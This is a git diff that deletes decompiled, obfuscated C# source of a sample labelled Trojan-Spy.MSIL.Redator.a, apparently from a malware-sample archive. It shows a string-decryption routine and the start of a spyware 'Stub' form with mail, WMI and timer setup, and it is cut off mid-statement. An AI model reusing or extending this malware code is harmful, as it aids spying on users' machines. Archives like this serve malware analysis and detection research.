\u0006.\u0001.\u0001 = \u0006.\u0001.\u0001.ReadBytes((int) count2); - \u0006.\u0001.\u0001 = executingAssembly.GetName().GetPublicKeyToken(); - if (\u0006.\u0001.\u0001 != null && \u0006.\u0001.\u0001.Length == 0) - { - \u0006.\u0001.\u0001 = (byte[]) null; - goto label_7; - } - else - goto label_7; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0002.cs deleted file mode 100644 index e4661395..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0002.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using System.Runtime.InteropServices; - -namespace \u0006 -{ - internal static class \u0002 - { - public static byte[] \u0003([In] byte[] obj0, [In] byte[] obj1) - { - byte num1 = obj0[1]; - int length = obj1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) obj0[0] | (int) obj0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = obj1[index]; - obj1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return obj1; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0003.cs deleted file mode 100644 index 952bdd14..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0003.cs +++ /dev/null @@ -1,2398 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0004; -using \u0005; -using \u0006; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections; -using System.ComponentModel; -using System.Data; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Management; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Text.RegularExpressions; -using System.Windows.Forms; - -namespace \u0006 -{ - internal class \u0003 : Form - { - private IContainer \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private CheckBox \u0001; - private CheckBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private System.Windows.Forms.Timer \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private System.Windows.Forms.Timer \u0001; - private Label \u0001; - private TextBox \u0001; - private BackgroundWorker \u0001; - private ListBox \u0001; - private TextBox \u0001; - private string[] \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private IntPtr \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private int \u0001; - private ManagementClass \u0001; - private ManagementObjectCollection \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - - public \u0003() - { - \u0003 obj1 = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj1, __vmethodptr(obj1, \u0003)); - \u0003 obj2 = this; - // ISSUE: virtual method pointer - this.FormClosing += new FormClosingEventHandler((object) obj2, __vmethodptr(obj2, \u0003)); - this.\u0001 = (string) null; - this.\u0001 = Environment.MachineName; - this.\u0001 = (string) null; - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = 1; - this.\u0001 = new ManagementClass(\u0001.\u0003(-1567516462)); - this.\u0001 = this.\u0001.GetInstances(); - this.\u0001 = Path.GetTempPath(); - this.\u0001 = this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516534); - this.\u0001 = this.\u0001 + \u0001.\u0003(-1567516519); - this.\u0001 = this.\u0001 + \u0001.\u0003(-1567516497); - this.\u0003(); - this.\u0007(); - } - - [DebuggerNonUserCode] - protected override void Dispose([In] bool obj0) - { - try - { - if (!obj0 || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(obj0); - } - } - - private void \u0003() - { - this.\u0001 = (IContainer) new System.ComponentModel.Container(); - this.\u0003(new TextBox()); - this.\u0004(new TextBox()); - this.\u0005(new TextBox()); - this.\u0006(new TextBox()); - this.\u0007(new TextBox()); - this.\u0008(new TextBox()); - this.\u000E(new TextBox()); - this.\u000F(new TextBox()); - this.\u0010(new TextBox()); - this.\u0011(new TextBox()); - this.\u0012(new TextBox()); - this.\u0013(new TextBox()); - this.\u0014(new TextBox()); - this.\u0015(new TextBox()); - this.\u0016(new TextBox()); - this.\u0017(new TextBox()); - this.\u0018(new TextBox()); - this.\u0019(new TextBox()); - this.\u001A(new TextBox()); - this.\u001B(new TextBox()); - this.\u001C(new TextBox()); - this.\u001D(new TextBox()); - this.\u0003(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0004(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0005(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0006(new System.Windows.Forms.Timer(this.\u0001)); - this.\u001E(new TextBox()); - this.\u001F(new TextBox()); - this.\u007F(new TextBox()); - this.\u0080(new TextBox()); - this.\u0081(new TextBox()); - this.\u0082(new TextBox()); - this.\u0083(new TextBox()); - this.\u0084(new TextBox()); - this.\u0086(new TextBox()); - this.\u0003(new CheckBox()); - this.\u0004(new CheckBox()); - this.\u0087(new TextBox()); - this.\u0088(new TextBox()); - this.\u0089(new TextBox()); - this.\u008A(new TextBox()); - this.\u008B(new TextBox()); - this.\u008C(new TextBox()); - this.\u008D(new TextBox()); - this.\u008E(new TextBox()); - this.\u0007(new System.Windows.Forms.Timer(this.\u0001)); - this.\u008F(new TextBox()); - this.\u0090(new TextBox()); - this.\u0091(new TextBox()); - this.\u0092(new TextBox()); - this.\u0093(new TextBox()); - this.\u0094(new TextBox()); - this.\u0095(new TextBox()); - this.\u0096(new TextBox()); - this.\u0097(new TextBox()); - this.\u0098(new TextBox()); - this.\u0008(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0003(new Label()); - this.\u0099(new TextBox()); - this.\u0003(new BackgroundWorker()); - this.\u0003(new ListBox()); - this.\u009A(new TextBox()); - this.SuspendLayout(); - this.\u0003().Dock = DockStyle.Top; - this.\u0003().Enabled = false; - TextBox textBox1 = this.\u0003(); - Point point1 = new Point(0, 0); - Point point2 = point1; - textBox1.Location = point2; - this.\u0003().Multiline = true; - this.\u0003().Name = \u0001.\u0003(-1567517866); - this.\u0003().ReadOnly = true; - TextBox textBox2 = this.\u0003(); - Size size1 = new Size(483, 10); - Size size2 = size1; - textBox2.Size = size2; - this.\u0003().TabIndex = 0; - this.\u0004().BackColor = SystemColors.InfoText; - this.\u0004().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox3 = this.\u0004(); - point1 = new Point(12, 101); - Point point3 = point1; - textBox3.Location = point3; - this.\u0004().Name = \u0001.\u0003(-1567517849); - this.\u0004().ReadOnly = true; - TextBox textBox4 = this.\u0004(); - size1 = new Size(114, 20); - Size size3 = size1; - textBox4.Size = size3; - this.\u0004().TabIndex = 1; - this.\u0005().BackColor = SystemColors.InfoText; - this.\u0005().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox5 = this.\u0005(); - point1 = new Point(12, 81); - Point point4 = point1; - textBox5.Location = point4; - this.\u0005().Name = \u0001.\u0003(-1567517840); - this.\u0005().ReadOnly = true; - TextBox textBox6 = this.\u0005(); - size1 = new Size(114, 20); - Size size4 = size1; - textBox6.Size = size4; - this.\u0005().TabIndex = 2; - this.\u0006().BackColor = SystemColors.InfoText; - this.\u0006().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox7 = this.\u0006(); - point1 = new Point(148, 69); - Point point5 = point1; - textBox7.Location = point5; - this.\u0006().Name = \u0001.\u0003(-1567517951); - this.\u0006().ReadOnly = true; - TextBox textBox8 = this.\u0006(); - size1 = new Size(104, 20); - Size size5 = size1; - textBox8.Size = size5; - this.\u0006().TabIndex = 3; - this.\u0006().Text = \u0001.\u0003(-1567517934); - this.\u0007().BackColor = SystemColors.InfoText; - this.\u0007().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox9 = this.\u0007(); - point1 = new Point(52, 160); - Point point6 = point1; - textBox9.Location = point6; - this.\u0007().Name = \u0001.\u0003(-1567517907); - this.\u0007().ReadOnly = true; - TextBox textBox10 = this.\u0007(); - size1 = new Size(106, 20); - Size size6 = size1; - textBox10.Size = size6; - this.\u0007().TabIndex = 4; - this.\u0008().BackColor = SystemColors.InfoText; - this.\u0008().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox11 = this.\u0008(); - point1 = new Point(28, 241); - Point point7 = point1; - textBox11.Location = point7; - this.\u0008().Name = \u0001.\u0003(-1567517890); - this.\u0008().ReadOnly = true; - TextBox textBox12 = this.\u0008(); - size1 = new Size(98, 20); - Size size7 = size1; - textBox12.Size = size7; - this.\u0008().TabIndex = 5; - this.\u000E().BackColor = SystemColors.InfoText; - this.\u000E().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox13 = this.\u000E(); - point1 = new Point(116, 43); - Point point8 = point1; - textBox13.Location = point8; - this.\u000E().Name = \u0001.\u0003(-1567518001); - this.\u000E().ReadOnly = true; - TextBox textBox14 = this.\u000E(); - size1 = new Size(90, 20); - Size size8 = size1; - textBox14.Size = size8; - this.\u000E().TabIndex = 6; - this.\u000F().BackColor = SystemColors.InfoText; - this.\u000F().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox15 = this.\u000F(); - point1 = new Point(36, 184); - Point point9 = point1; - textBox15.Location = point9; - this.\u000F().Name = \u0001.\u0003(-1567517992); - this.\u000F().ReadOnly = true; - TextBox textBox16 = this.\u000F(); - size1 = new Size(110, 20); - Size size9 = size1; - textBox16.Size = size9; - this.\u000F().TabIndex = 7; - this.\u0010().BackColor = SystemColors.InfoText; - this.\u0010().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox17 = this.\u0010(); - point1 = new Point(384, 146); - Point point10 = point1; - textBox17.Location = point10; - this.\u0010().Name = \u0001.\u0003(-1567517975); - this.\u0010().ReadOnly = true; - TextBox textBox18 = this.\u0010(); - size1 = new Size(87, 20); - Size size10 = size1; - textBox18.Size = size10; - this.\u0010().TabIndex = 8; - this.\u0011().BackColor = SystemColors.InfoText; - this.\u0011().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox19 = this.\u0011(); - point1 = new Point(337, 120); - Point point11 = point1; - textBox19.Location = point11; - this.\u0011().Name = \u0001.\u0003(-1567517958); - this.\u0011().ReadOnly = true; - TextBox textBox20 = this.\u0011(); - size1 = new Size(108, 20); - Size size11 = size1; - textBox20.Size = size11; - this.\u0011().TabIndex = 9; - this.\u0012().BackColor = SystemColors.InfoText; - this.\u0012().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox21 = this.\u0012(); - point1 = new Point(365, 94); - Point point12 = point1; - textBox21.Location = point12; - this.\u0012().Name = \u0001.\u0003(-1567518070); - this.\u0012().ReadOnly = true; - TextBox textBox22 = this.\u0012(); - size1 = new Size(100, 20); - Size size12 = size1; - textBox22.Size = size12; - this.\u0012().TabIndex = 10; - this.\u0013().BackColor = SystemColors.InfoText; - this.\u0013().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox23 = this.\u0013(); - point1 = new Point(317, 42); - Point point13 = point1; - textBox23.Location = point13; - this.\u0013().Name = \u0001.\u0003(-1567518054); - this.\u0013().ReadOnly = true; - TextBox textBox24 = this.\u0013(); - size1 = new Size(85, 20); - Size size13 = size1; - textBox24.Size = size13; - this.\u0013().TabIndex = 11; - this.\u0014().BackColor = SystemColors.InfoText; - this.\u0014().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox25 = this.\u0014(); - point1 = new Point(258, 81); - Point point14 = point1; - textBox25.Location = point14; - this.\u0014().Name = \u0001.\u0003(-1567518038); - this.\u0014().ReadOnly = true; - TextBox textBox26 = this.\u0014(); - size1 = new Size(96, 20); - Size size14 = size1; - textBox26.Size = size14; - this.\u0014().TabIndex = 12; - this.\u0015().BackColor = SystemColors.InfoText; - this.\u0015().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox27 = this.\u0015(); - point1 = new Point(408, 42); - Point point15 = point1; - textBox27.Location = point15; - this.\u0015().Name = \u0001.\u0003(-1567518022); - this.\u0015().ReadOnly = true; - TextBox textBox28 = this.\u0015(); - size1 = new Size(75, 20); - Size size15 = size1; - textBox28.Size = size15; - this.\u0015().TabIndex = 13; - this.\u0016().BackColor = SystemColors.InfoText; - this.\u0016().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox29 = this.\u0016(); - point1 = new Point(212, 42); - Point point16 = point1; - textBox29.Location = point16; - this.\u0016().Name = \u0001.\u0003(-1567518134); - this.\u0016().ReadOnly = true; - TextBox textBox30 = this.\u0016(); - size1 = new Size(87, 20); - Size size16 = size1; - textBox30.Size = size16; - this.\u0016().TabIndex = 14; - this.\u0017().BackColor = SystemColors.InfoText; - this.\u0017().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox31 = this.\u0017(); - point1 = new Point(344, 68); - Point point17 = point1; - textBox31.Location = point17; - this.\u0017().Name = \u0001.\u0003(-1567518118); - this.\u0017().ReadOnly = true; - TextBox textBox32 = this.\u0017(); - size1 = new Size(108, 20); - Size size17 = size1; - textBox32.Size = size17; - this.\u0017().TabIndex = 15; - this.\u0018().BackColor = SystemColors.InfoText; - this.\u0018().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox33 = this.\u0018(); - point1 = new Point(337, 186); - Point point18 = point1; - textBox33.Location = point18; - this.\u0018().Name = \u0001.\u0003(-1567518102); - this.\u0018().ReadOnly = true; - TextBox textBox34 = this.\u0018(); - size1 = new Size(117, 20); - Size size18 = size1; - textBox34.Size = size18; - this.\u0018().TabIndex = 16; - this.\u0019().BackColor = SystemColors.InfoText; - this.\u0019().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox35 = this.\u0019(); - point1 = new Point(211, 186); - Point point19 = point1; - textBox35.Location = point19; - this.\u0019().Name = \u0001.\u0003(-1567518086); - this.\u0019().ReadOnly = true; - TextBox textBox36 = this.\u0019(); - size1 = new Size(88, 20); - Size size19 = size1; - textBox36.Size = size19; - this.\u0019().TabIndex = 17; - this.\u001A().BackColor = SystemColors.InfoText; - this.\u001A().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox37 = this.\u001A(); - point1 = new Point(12, 42); - Point point20 = point1; - textBox37.Location = point20; - this.\u001A().Name = \u0001.\u0003(-1567518198); - this.\u001A().ReadOnly = true; - TextBox textBox38 = this.\u001A(); - size1 = new Size(98, 20); - Size size20 = size1; - textBox38.Size = size20; - this.\u001A().TabIndex = 18; - this.\u001B().BackColor = SystemColors.InfoText; - this.\u001B().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox39 = this.\u001B(); - point1 = new Point(13, (int) sbyte.MaxValue); - Point point21 = point1; - textBox39.Location = point21; - this.\u001B().Name = \u0001.\u0003(-1567518182); - this.\u001B().ReadOnly = true; - TextBox textBox40 = this.\u001B(); - size1 = new Size(87, 20); - Size size21 = size1; - textBox40.Size = size21; - this.\u001B().TabIndex = 19; - this.\u001C().BackColor = SystemColors.InfoText; - this.\u001C().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox41 = this.\u001C(); - point1 = new Point(155, 134); - Point point22 = point1; - textBox41.Location = point22; - this.\u001C().Name = \u0001.\u0003(-1567518166); - this.\u001C().ReadOnly = true; - TextBox textBox42 = this.\u001C(); - size1 = new Size(97, 20); - Size size22 = size1; - textBox42.Size = size22; - this.\u001C().TabIndex = 20; - this.\u001D().BackColor = SystemColors.InfoText; - this.\u001D().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox43 = this.\u001D(); - point1 = new Point(56, 196); - Point point23 = point1; - textBox43.Location = point23; - this.\u001D().Name = \u0001.\u0003(-1567518150); - this.\u001D().ReadOnly = true; - TextBox textBox44 = this.\u001D(); - size1 = new Size(90, 20); - Size size23 = size1; - textBox44.Size = size23; - this.\u001D().TabIndex = 21; - this.\u0005().Interval = 35000; - this.\u0006().Interval = 900000; - TextBox textBox45 = this.\u001E(); - point1 = new Point(371, 243); - Point point24 = point1; - textBox45.Location = point24; - this.\u001E().Name = \u0001.\u0003(-1567518262); - TextBox textBox46 = this.\u001E(); - size1 = new Size(100, 20); - Size size24 = size1; - textBox46.Size = size24; - this.\u001E().TabIndex = 50; - TextBox textBox47 = this.\u001F(); - point1 = new Point(379, 278); - Point point25 = point1; - textBox47.Location = point25; - this.\u001F().Name = \u0001.\u0003(-1567518246); - TextBox textBox48 = this.\u001F(); - size1 = new Size(100, 20); - Size size25 = size1; - textBox48.Size = size25; - this.\u001F().TabIndex = 51; - TextBox textBox49 = this.\u007F(); - point1 = new Point(273, 278); - Point point26 = point1; - textBox49.Location = point26; - this.\u007F().Name = \u0001.\u0003(-1567518230); - TextBox textBox50 = this.\u007F(); - size1 = new Size(100, 20); - Size size26 = size1; - textBox50.Size = size26; - this.\u007F().TabIndex = 52; - TextBox textBox51 = this.\u0080(); - point1 = new Point(138, 210); - Point point27 = point1; - textBox51.Location = point27; - this.\u0080().Name = \u0001.\u0003(-1567518214); - TextBox textBox52 = this.\u0080(); - size1 = new Size(100, 20); - Size size27 = size1; - textBox52.Size = size27; - this.\u0080().TabIndex = 53; - TextBox textBox53 = this.\u0081(); - point1 = new Point(12, 222); - Point point28 = point1; - textBox53.Location = point28; - this.\u0081().Name = \u0001.\u0003(-1567518326); - TextBox textBox54 = this.\u0081(); - size1 = new Size(100, 20); - Size size28 = size1; - textBox54.Size = size28; - this.\u0081().TabIndex = 54; - TextBox textBox55 = this.\u0082(); - point1 = new Point(148, 278); - Point point29 = point1; - textBox55.Location = point29; - this.\u0082().Name = \u0001.\u0003(-1567518310); - TextBox textBox56 = this.\u0082(); - size1 = new Size(100, 20); - Size size29 = size1; - textBox56.Size = size29; - this.\u0082().TabIndex = 55; - TextBox textBox57 = this.\u0083(); - point1 = new Point(12, 258); - Point point30 = point1; - textBox57.Location = point30; - this.\u0083().Name = \u0001.\u0003(-1567518294); - TextBox textBox58 = this.\u0083(); - size1 = new Size(100, 20); - Size size30 = size1; - textBox58.Size = size30; - this.\u0083().TabIndex = 56; - TextBox textBox59 = this.\u0084(); - point1 = new Point(249, 101); - Point point31 = point1; - textBox59.Location = point31; - this.\u0084().Name = \u0001.\u0003(-1567518278); - TextBox textBox60 = this.\u0084(); - size1 = new Size(100, 20); - Size size31 = size1; - textBox60.Size = size31; - this.\u0084().TabIndex = 57; - TextBox textBox61 = this.\u0086(); - point1 = new Point(132, 108); - Point point32 = point1; - textBox61.Location = point32; - this.\u0086().Name = \u0001.\u0003(-1567518390); - TextBox textBox62 = this.\u0086(); - size1 = new Size(100, 20); - Size size32 = size1; - textBox62.Size = size32; - this.\u0086().TabIndex = 58; - this.\u0003().AutoSize = true; - this.\u0003().ForeColor = SystemColors.ButtonHighlight; - CheckBox checkBox1 = this.\u0003(); - point1 = new Point(169, 243); - Point point33 = point1; - checkBox1.Location = point33; - this.\u0003().Name = \u0001.\u0003(-1567518374); - CheckBox checkBox2 = this.\u0003(); - size1 = new Size(81, 17); - Size size33 = size1; - checkBox2.Size = size33; - this.\u0003().TabIndex = 28; - this.\u0003().Text = \u0001.\u0003(-1567518374); - this.\u0003().UseVisualStyleBackColor = true; - this.\u0004().AutoSize = true; - this.\u0004().ForeColor = SystemColors.ButtonHighlight; - CheckBox checkBox3 = this.\u0004(); - point1 = new Point(290, 243); - Point point34 = point1; - checkBox3.Location = point34; - this.\u0004().Name = \u0001.\u0003(-1567518358); - CheckBox checkBox4 = this.\u0004(); - size1 = new Size(81, 17); - Size size34 = size1; - checkBox4.Size = size34; - this.\u0004().TabIndex = 49; - this.\u0004().Text = \u0001.\u0003(-1567518358); - this.\u0004().UseVisualStyleBackColor = true; - TextBox textBox63 = this.\u0087(); - point1 = new Point(244, 213); - Point point35 = point1; - textBox63.Location = point35; - this.\u0087().Name = \u0001.\u0003(-1567518342); - TextBox textBox64 = this.\u0087(); - size1 = new Size(100, 20); - Size size35 = size1; - textBox64.Size = size35; - this.\u0087().TabIndex = 59; - TextBox textBox65 = this.\u0088(); - point1 = new Point(365, 213); - Point point36 = point1; - textBox65.Location = point36; - this.\u0088().Name = \u0001.\u0003(-1567518454); - TextBox textBox66 = this.\u0088(); - size1 = new Size(100, 20); - Size size36 = size1; - textBox66.Size = size36; - this.\u0088().TabIndex = 60; - TextBox textBox67 = this.\u0089(); - point1 = new Point(169, 159); - Point point37 = point1; - textBox67.Location = point37; - this.\u0089().Name = \u0001.\u0003(-1567518438); - TextBox textBox68 = this.\u0089(); - size1 = new Size(100, 20); - Size size37 = size1; - textBox68.Size = size37; - this.\u0089().TabIndex = 61; - TextBox textBox69 = this.\u008A(); - point1 = new Point(13, 13); - Point point38 = point1; - textBox69.Location = point38; - this.\u008A().Name = \u0001.\u0003(-1567518422); - TextBox textBox70 = this.\u008A(); - size1 = new Size(76, 20); - Size size38 = size1; - textBox70.Size = size38; - this.\u008A().TabIndex = 62; - TextBox textBox71 = this.\u008B(); - point1 = new Point(95, 13); - Point point39 = point1; - textBox71.Location = point39; - this.\u008B().Name = \u0001.\u0003(-1567518406); - TextBox textBox72 = this.\u008B(); - size1 = new Size(63, 20); - Size size39 = size1; - textBox72.Size = size39; - this.\u008B().TabIndex = 63; - TextBox textBox73 = this.\u008C(); - point1 = new Point(164, 13); - Point point40 = point1; - textBox73.Location = point40; - this.\u008C().Name = \u0001.\u0003(-1567518518); - TextBox textBox74 = this.\u008C(); - size1 = new Size(74, 20); - Size size40 = size1; - textBox74.Size = size40; - this.\u008C().TabIndex = 64; - TextBox textBox75 = this.\u008D(); - point1 = new Point(245, 12); - Point point41 = point1; - textBox75.Location = point41; - this.\u008D().Name = \u0001.\u0003(-1567518502); - TextBox textBox76 = this.\u008D(); - size1 = new Size(100, 20); - Size size41 = size1; - textBox76.Size = size41; - this.\u008D().TabIndex = 65; - TextBox textBox77 = this.\u008E(); - point1 = new Point(351, 12); - Point point42 = point1; - textBox77.Location = point42; - this.\u008E().Name = \u0001.\u0003(-1567518486); - TextBox textBox78 = this.\u008E(); - size1 = new Size(100, 20); - Size size42 = size1; - textBox78.Size = size42; - this.\u008E().TabIndex = 66; - this.\u0007().Interval = 700000; - TextBox textBox79 = this.\u008F(); - point1 = new Point(148, 185); - Point point43 = point1; - textBox79.Location = point43; - this.\u008F().Name = \u0001.\u0003(-1567518470); - TextBox textBox80 = this.\u008F(); - size1 = new Size(100, 20); - Size size43 = size1; - textBox80.Size = size43; - this.\u008F().TabIndex = 67; - TextBox textBox81 = this.\u0090(); - point1 = new Point(198, 128); - Point point44 = point1; - textBox81.Location = point44; - this.\u0090().Name = \u0001.\u0003(-1567518582); - TextBox textBox82 = this.\u0090(); - size1 = new Size(100, 20); - Size size44 = size1; - textBox82.Size = size44; - this.\u0090().TabIndex = 68; - TextBox textBox83 = this.\u0091(); - point1 = new Point(238, 68); - Point point45 = point1; - textBox83.Location = point45; - this.\u0091().Name = \u0001.\u0003(-1567518566); - TextBox textBox84 = this.\u0091(); - size1 = new Size(100, 20); - Size size45 = size1; - textBox84.Size = size45; - this.\u0091().TabIndex = 69; - TextBox textBox85 = this.\u0092(); - point1 = new Point(278, 159); - Point point46 = point1; - textBox85.Location = point46; - this.\u0092().Name = \u0001.\u0003(-1567518550); - TextBox textBox86 = this.\u0092(); - size1 = new Size(100, 20); - Size size46 = size1; - textBox86.Size = size46; - this.\u0092().TabIndex = 70; - TextBox textBox87 = this.\u0093(); - point1 = new Point(371, 184); - Point point47 = point1; - textBox87.Location = point47; - this.\u0093().Name = \u0001.\u0003(-1567518534); - TextBox textBox88 = this.\u0093(); - size1 = new Size(100, 20); - Size size47 = size1; - textBox88.Size = size47; - this.\u0093().TabIndex = 71; - TextBox textBox89 = this.\u0094(); - point1 = new Point(36, 133); - Point point48 = point1; - textBox89.Location = point48; - this.\u0094().Name = \u0001.\u0003(-1567518646); - TextBox textBox90 = this.\u0094(); - size1 = new Size(100, 20); - Size size48 = size1; - textBox90.Size = size48; - this.\u0094().TabIndex = 72; - TextBox textBox91 = this.\u0095(); - point1 = new Point(365, 42); - Point point49 = point1; - textBox91.Location = point49; - this.\u0095().Name = \u0001.\u0003(-1567518630); - TextBox textBox92 = this.\u0095(); - size1 = new Size(100, 20); - Size size49 = size1; - textBox92.Size = size49; - this.\u0095().TabIndex = 73; - TextBox textBox93 = this.\u0096(); - point1 = new Point(365, 68); - Point point50 = point1; - textBox93.Location = point50; - this.\u0096().Name = \u0001.\u0003(-1567518614); - TextBox textBox94 = this.\u0096(); - size1 = new Size(100, 20); - Size size50 = size1; - textBox94.Size = size50; - this.\u0096().TabIndex = 74; - TextBox textBox95 = this.\u0097(); - point1 = new Point(365, 95); - Point point51 = point1; - textBox95.Location = point51; - this.\u0097().Name = \u0001.\u0003(-1567518598); - TextBox textBox96 = this.\u0097(); - size1 = new Size(100, 20); - Size size51 = size1; - textBox96.Size = size51; - this.\u0097().TabIndex = 75; - TextBox textBox97 = this.\u0098(); - point1 = new Point(365, 122); - Point point52 = point1; - textBox97.Location = point52; - this.\u0098().Name = \u0001.\u0003(-1567518710); - TextBox textBox98 = this.\u0098(); - size1 = new Size(100, 20); - Size size52 = size1; - textBox98.Size = size52; - this.\u0098().TabIndex = 76; - this.\u0008().Interval = 600000; - this.\u0003().AutoSize = true; - Label label1 = this.\u0003(); - point1 = new Point(305, 128); - Point point53 = point1; - label1.Location = point53; - this.\u0003().Name = \u0001.\u0003(-1567518694); - Label label2 = this.\u0003(); - size1 = new Size(39, 13); - Size size53 = size1; - label2.Size = size53; - this.\u0003().TabIndex = 77; - this.\u0003().Text = \u0001.\u0003(-1567518694); - TextBox textBox99 = this.\u0099(); - point1 = new Point(258, 187); - Point point54 = point1; - textBox99.Location = point54; - this.\u0099().Name = \u0001.\u0003(-1567518699); - TextBox textBox100 = this.\u0099(); - size1 = new Size(100, 20); - Size size54 = size1; - textBox100.Size = size54; - this.\u0099().TabIndex = 78; - this.\u0003().FormattingEnabled = true; - ListBox listBox1 = this.\u0003(); - point1 = new Point(345, 95); - Point point55 = point1; - listBox1.Location = point55; - this.\u0003().Name = \u0001.\u0003(-1567518683); - ListBox listBox2 = this.\u0003(); - size1 = new Size(120, 95); - Size size55 = size1; - listBox2.Size = size55; - this.\u0003().TabIndex = 79; - TextBox textBox101 = this.\u009A(); - point1 = new Point(28, 160); - Point point56 = point1; - textBox101.Location = point56; - this.\u009A().Name = \u0001.\u0003(-1567518666); - TextBox textBox102 = this.\u009A(); - size1 = new Size(100, 20); - Size size56 = size1; - textBox102.Size = size56; - this.\u009A().TabIndex = 